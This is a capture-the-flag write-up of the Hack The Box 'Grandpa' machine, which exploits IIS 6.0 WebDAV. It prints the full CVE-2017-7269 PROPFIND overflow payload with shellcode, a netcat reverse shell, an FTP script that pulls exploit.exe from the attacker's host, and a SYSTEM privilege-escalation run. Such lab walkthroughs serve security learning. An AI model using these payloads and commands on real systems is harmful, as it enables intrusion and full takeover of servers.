History
The previous box Granny was also running an IIS 6.0 Server, this box is another take on the Microsoft IIS. Armed with the knowledge gained by solving the previous box, let’s see how we can pwn Grandpa!
Recon
The IP of the box is 10.10.10.14, let’s check for open ports.
┌──(kali㉿kali)-[~/HackTheBox/Grandpa/recon]
└─$ nmap -sC -sV -p0-1000 10.10.10.14 > resutlts.txt &┌──(kali㉿kali)-[~/HackTheBox/Grandpa/recon]
└─$ cat results.txt 130 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-22 09:35 EST
Nmap scan report for 10.10.10.14
Host is up (0.20s latency).
Not shown: 1000 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-methods:
|_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-webdav-scan:
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
| Server Type: Microsoft-IIS/6.0
| Server Date: Fri, 22 Jan 2021 14:36:42 GMT
| WebDAV type: Unknown
|_ Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.77 seconds
We can see a Windows system running , MS IIS 6.0 on port 80. It’s also clear that server allows multiple methods to the users, which is similar to the Granny Box.
Let’s see what all file types the server accepts.
┌──(kali㉿kali)-[~/HackTheBox/Grandpa/recon]
└─$ davtest -url http://10.10.10.14 > test.txt &┌──(kali㉿kali)-[~/HackTheBox/Grandpa/recon]
└─$ cat test.txt 130 ⨯
********************************************************
Testing DAV connection
OPEN SUCCEED: http://10.10.10.14
********************************************************
NOTE Random string for this session: Xvl4P6jmA
********************************************************
Creating directory
********************************************************
Sending test files
PUT shtml FAIL
PUT asp FAIL
PUT cgi FAIL
PUT pl FAIL
PUT php FAIL
PUT jsp FAIL
PUT cfm FAIL
PUT html FAIL
PUT txt FAIL
PUT aspx FAIL
PUT jhtml FAIL********************************************************
/usr/bin/davtest Summary:
Now that is a problem, it seems like the IIS server doesn’t allow any file types to be put into the file system. So pushing a reverse shell into the server is not going to work.
Foothold
Let’s do a search on known exploits of IIS 6.0
┌──(kali㉿kali)-[~/HackTheBox/Grandpa/recon]
└─$ searchsploit IIS 6.0
------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------- ---------------------------------
Microsoft IIS 4.0/5.0/6.0 - Internal IP Address/Internal Network N | windows/remote/21057.txt
Microsoft IIS 5.0/6.0 FTP Server (Windows 2000) - Remote Stack Ove | windows/remote/9541.pl
Microsoft IIS 5.0/6.0 FTP Server - Stack Exhaustion Denial of Serv | windows/dos/9587.txt
Microsoft IIS 6.0 - '/AUX / '.aspx' Remote Denial of Service | windows/dos/3965.pl
Microsoft IIS 6.0 - ASP Stack Overflow Stack Exhaustion (Denial of | windows/dos/15167.txt
Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' Remote Buffer Ov | windows/remote/41738.py
Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (1) | windows/remote/8704.txt
Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (2) | windows/remote/8806.pl
Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (Patch) | windows/remote/8754.patch
Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (PHP) | windows/remote/8765.php
Microsoft IIS 6.0/7.5 (+ PHP) - Multiple Vulnerabilities | windows/remote/19033.txt
------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(kali㉿kali)-[~/HackTheBox/Grandpa/recon]
└─$We can find a few exploits using the WebDAV, doing a search on the Microsoft IIS 6.0 — WebDAV ‘ScStoragePathFromUrl’ Remote Buffer Overflow
This vulnerability is due to ‘Improper validation of a long header in a HTTP request.’ CVE-2017–7269
Found an implementation of the exploit that can be used to get a foothold. Renaming the file to shell.py and setting up a listener at port 54.
┌──(kali㉿kali)-[~/HackTheBox/Grandpa/exploit/iis6-exploit-2017-CVE-2017-7269]
└─$ python shell.py 10.10.10.14 80 10.10.14.23 54
PROPFIND / HTTP/1.1
Host: localhost
Content-Length: 1744
If: <http://localhost/aaaaaaa￦ﾽﾨﾡﾣﾝﾡﾄﾳ￦ﾤﾶ￤ﾝﾲﾨﾹ￤ﾭﾷ￤ﾽﾰﾕﾓﾩﾏ￤ﾡﾨ￥ﾙﾣ￦ﾵﾔ￦ﾡﾅ￣ﾥﾓ￥ﾁﾬ￥ﾕﾧ￦ﾝﾣ￣ﾍﾤ￤ﾘﾰﾡﾅ￦ﾥﾒ￥ﾐﾱ￤ﾱﾘ￦ﾩﾑﾉﾁ￤ﾈﾱﾀﾵ￥ﾡﾐ￣ﾙﾤ￦ﾱﾇ￣ﾔﾹ￥ﾑﾪ￥ﾀﾴ￥ﾑﾃﾝﾒ￥ﾁﾡ￣ﾈﾲ￦ﾵﾋ￦ﾰﾴ￣ﾉﾇ￦ﾉﾁ￣ﾝﾍ￥ﾅﾡ￥ﾡﾢ￤ﾝﾳ￥ﾉﾐ￣ﾙﾰﾕﾄ￦ﾡﾪ￣ﾍﾴ￤ﾹﾊﾡﾫ￤ﾥﾶ￤ﾹﾳ￤ﾱﾪ￥ﾝﾺ￦ﾽﾱ￥ﾡﾊ￣ﾈﾰ￣ﾝﾮ￤ﾭﾉ￥ﾉﾍ￤ﾡﾣ￦ﾽﾌﾕﾖﾕﾵ￦ﾙﾯﾙﾨ￤ﾑﾍ￥ﾁﾰﾨﾶ￦ﾉﾋ￦ﾕﾗﾕﾐ￦ﾩﾲﾩﾫﾝﾢﾙﾘ￦ﾉﾈ￦ﾔﾱ￣ﾁﾔ￦ﾱﾹ￥ﾁﾊ￥ﾑﾢ￥ﾀﾳ￣ﾕﾷ￦ﾩﾷ￤ﾅﾄ￣ﾌﾴ￦ﾑﾶ￤ﾵﾆ￥ﾙﾔ￤ﾝﾬ￦ﾕﾃﾘﾲﾉﾸ￥ﾝﾩ￤ﾌﾸ￦ﾉﾲ￥ﾨﾰ￥ﾤﾸ￥ﾑﾈﾂﾂ￡ﾋﾀ￦ﾠﾃ￦ﾱﾄ￥ﾉﾖ￤ﾬﾷ￦ﾱﾭ￤ﾽﾘ￥ﾡﾚﾥﾐ￤ﾥﾪ￥ﾡﾏ￤ﾩﾒ￤ﾅﾐ￦ﾙﾍ￡ﾏﾀ￦ﾠﾃ￤ﾠﾴ￦ﾔﾱ￦ﾽﾃ￦ﾹﾦﾑﾁ￤ﾍﾬ￡ﾏﾀ￦ﾠﾃ￥ﾍﾃ￦ﾩﾁﾁﾒ￣ﾌﾰ￥ﾡﾦ￤ﾉﾌﾁﾋ￦ﾍﾆ￥ﾅﾳﾥﾁﾩﾐ￤ﾩﾬ> (Not <locktoken:write1>) <http://localhost/bbbbbbbﾥﾈ￦ﾅﾵ￤ﾽﾃ￦ﾽﾧ￦ﾭﾯ￤ﾡﾅ￣ﾙﾆ￦ﾝﾵ￤ﾐﾳ￣ﾡﾱ￥ﾝﾥ￥ﾩﾢ￥ﾐﾵ￥ﾙﾡ￦ﾥﾒ￦ﾩﾓ￥ﾅﾗ￣ﾡﾎ￥ﾥﾈ￦ﾍﾕ￤ﾥﾱ￤ﾍﾤ￦ﾑﾲ￣ﾑﾨ￤ﾝﾘﾅﾹ￣ﾍﾫ￦ﾭﾕ￦ﾵﾈ￥ﾁﾏﾩﾆ￣ﾑﾱ￦ﾽﾔﾑﾃ￥ﾥﾖ￦ﾽﾯﾍﾁ￣ﾑﾗ￦ﾅﾨﾩﾲ￣ﾝﾅ￤ﾵﾉ￥ﾝﾎ￥ﾑﾈ￤ﾰﾸ￣ﾙﾺ￣ﾕﾲ￦ﾉﾦ￦ﾹﾃ￤ﾡﾭ￣ﾕﾈ￦ﾅﾷ￤ﾵﾚ￦ﾅﾴ￤ﾄﾳ￤ﾍﾥ￥ﾉﾲ￦ﾵﾩ￣ﾙﾱ￤ﾹﾤ￦ﾸﾹ￦ﾍﾓ￦ﾭﾤ￥ﾅﾆ￤ﾼﾰﾡﾯﾉﾓ￦ﾝﾐ￤ﾕﾓﾩﾣﾄﾹ￤ﾽﾓ￤ﾑﾖ￦ﾼﾶﾍﾹ￦ﾡﾷﾩﾖ￦ﾅﾊ￣ﾥﾅ￣ﾘﾹ￦ﾰﾹ￤ﾔﾱ￣ﾑﾲ￥ﾍﾥ￥ﾡﾊ￤ﾑﾎﾩﾄ￦ﾰﾵ￥ﾩﾖ￦ﾉﾁ￦ﾹﾲ￦ﾘﾱ￥ﾥﾙ￥ﾐﾳ￣ﾅﾂ￥ﾡﾥ￥ﾥﾁﾅﾐ￣ﾀﾶ￥ﾝﾷ￤ﾑﾗ￥ﾍﾡ￡ﾏﾀ￦ﾠﾃ￦ﾹﾏ￦ﾠﾀ￦ﾹﾏ￦ﾠﾀ￤ﾉﾇﾙﾪ￡ﾏﾀ￦ﾠﾃ￤ﾉﾗ￤ﾽﾴ￥ﾥﾇ￥ﾈﾴ￤ﾭﾦ￤ﾭﾂﾑﾤﾡﾯ￦ﾂﾂ￦ﾠﾁ￥ﾄﾵﾉﾺﾑﾺ￤ﾵﾇ￤ﾑﾙ￥ﾝﾗ￫ﾄﾓ￦ﾠﾀ￣ﾅﾶ￦ﾹﾯ￢ﾓﾣ￦ﾠﾁ￡ﾑﾠ￦ﾠﾃﾾ￡ﾏﾀ￦ﾠﾃﾮ￦ﾠﾃﾅﾮﾑﾰ￡ﾐﾴ￦ﾠﾃ￢ﾧﾧ￦ﾠﾁ￩ﾎﾑ￦ﾠﾀ￣ﾤﾱ￦ﾙﾮ￤ﾥﾕ￣ﾁﾒ￥ﾑﾫﾙﾫﾉﾊﾥﾡ￡ﾐﾜ￦ﾠﾃ￦ﾸﾅ￦ﾠﾀﾜﾲﾥﾨ￤ﾵﾩ￣ﾙﾬ￤ﾑﾨ￤ﾵﾰ￨ﾉﾆ￦ﾠﾀ￤ﾡﾷ￣ﾉﾓ￡ﾶﾪ￦ﾠﾂ￦ﾽﾪ￤ﾌﾵ￡ﾏﾸ￦ﾠﾃ￢ﾧﾧ￦ﾠﾁVVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJINDKSKPKPTKKQTKT0D8TKQ8RTJKKX1OTKIGJSW4R0KOIBJHKCKOKOKOF0V04PF0M0A>Got the shell
┌──(kali㉿kali)-[~]
└─$ sudo nc -nvlp 54 1 ⨯
listening on [any] 54 ...
connect to [10.10.14.23] from (UNKNOWN) [10.10.10.14] 1029
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.c:\windows\system32\inetsrv>whoami
whoami
nt authority\network servicec:\windows\system32\inetsrv>net user
net userUser accounts for \\GRANPA-------------------------------------------------------------------------------
Administrator ASPNET Guest
Harry IUSR_GRANPA IWAM_GRANPA
SUPPORT_388945a0
The command completed successfully.c:\windows\system32\inetsrv>net user ASPNET
net user ASPNET
User name ASPNET
Full Name ASP.NET Machine Account
Comment Account used for running the ASP.NET worker process (aspnet_wp.exe)
User's comment Account used for running the ASP.NET worker process (aspnet_wp.exe)
Country code 000 (System Default)
Account active Yes
Account expires NeverPassword last set 4/12/2017 4:17 PM
Password expires Never
Password changeable 4/12/2017 4:17 PM
Password required No
User may change password NoWorkstations allowed All
Logon script
User profile
Home directory
Last logon NeverLogon hours allowed AllLocal Group Memberships *Users
Global Group memberships *None
The command completed successfully.c:\windows\system32\inetsrv>
And it’s clear that the user doesn’t have Admin access.
Privilege Escalation
Since I already have an idea about the IIS server, just want to check if the MS09–20 also works for this machine. The only thing that I need to do is tweek the delivery mechanism.
Moving into the Inetpub directory, where we can write files and configuring a neat ftp download of the MS09–20 exploit from the attacker’s system.
C:\>cd Inetpub\
cd Inetpub\C:\Inetpub>echo open 10.10.14.23 21> ftp.txt&echo USER anonymous >> ftp.txt&echo anonymous>> ftp.txt&echo bin>> ftp.txt&echo GET exploit.exe >> ftp.txt&echo bye>> ftp.txt
echo open 10.10.14.23 21> ftp.txt&echo USER anonymous >> ftp.txt&echo anonymous>> ftp.txt&echo bin>> ftp.txt&echo GET exploit.exe >> ftp.txt&echo bye>> ftp.txt
Now let me run a ftp server in the exploit directory
┌──(kali㉿kali)-[~/HackTheBox/Grandpa/exploit]
└─$ sudo python3 -m pyftpdlib -p 21
[sudo] password for kali:
[I 2021-01-22 14:48:50] concurrency model: async
[I 2021-01-22 14:48:50] masquerade (NAT) address: None
[I 2021-01-22 14:48:50] passive ports: None
[I 2021-01-22 14:48:50] >>> starting FTP server on 0.0.0.0:21, pid=6912 <<<Copying the exploit file.
C:\Inetpub>ftp -v -n -s:ftp.txt
ftp -v -n -s:ftp.txt
Connected to 10.10.14.23.
open 10.10.14.23 21
220 pyftpdlib 1.5.6 ready.
USER anonymous
331 Username ok, send password.230 Login successful.
bin
200 Type set to: Binary.
GET exploit.exe
200 Active data connection established.
125 Data connection already open. Transfer starting.
226 Transfer complete.
ftp: 211716 bytes received in 0.83Seconds 255.70Kbytes/sec.
byeC:\Inetpub>dir
dir
Volume in drive C has no label.
Volume Serial Number is 246C-D7FEDirectory of C:\Inetpub01/22/2021 09:50 PM <DIR> .
01/22/2021 09:50 PM <DIR> ..
04/12/2017 04:16 PM <DIR> AdminScripts
01/22/2021 09:50 PM 211,716 exploit.exe
01/22/2021 09:47 PM 77 ftp.txt
04/12/2017 04:17 PM <DIR> wwwroot
2 File(s) 211,793 bytes
4 Dir(s) 18,091,433,984 bytes free
And we got the exploit!!
- -v : Verbose, shows all responses from remote server.
- -n : Doesn’t allow auto-login.
- -s : To use a script.
Root Access
Now to check if it works!
C:\Inetpub>exploit.exe whoami
exploit.exe whoami
nt authority\system
-------------------------------------------
kindle-->Got WMI process Pid: 1856
begin to try
kindle-->Found token SYSTEM
kindle-->Command:whoamiC:\Inetpub>exploit.exe cmd.exe
exploit.exe cmd.exe
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.C:\Inetpub>whoami
whoami
-------------------------------------------
kindle-->Got WMI process Pid: 1856
begin to try
kindle-->Found token SYSTEM
kindle-->Command:cmd.exe
nt authority\system
And Boom! 💣
We got System access.😎
Flags
C:\Documents and Settings\Harry\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 246C-D7FEDirectory of C:\Documents and Settings\Harry\Desktop04/12/2017 04:32 PM <DIR> .
04/12/2017 04:32 PM <DIR> ..
04/12/2017 04:32 PM 32 user.txt
1 File(s) 32 bytes
2 Dir(s) 18,091,405,312 bytes freeC:\Documents and Settings>cd Administrator/Desktop
cd Administrator/DesktopC:\Documents and Settings\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 246C-D7FEDirectory of C:\Documents and Settings\Administrator\Desktop04/12/2017 04:28 PM <DIR> .
04/12/2017 04:28 PM <DIR> ..
04/12/2017 04:29 PM 32 root.txt
1 File(s) 32 bytes
2 Dir(s) 18,091,401,216 bytes freeC:\Documents and Settings\Administrator\Desktop>
Another one down!! 🔥🔥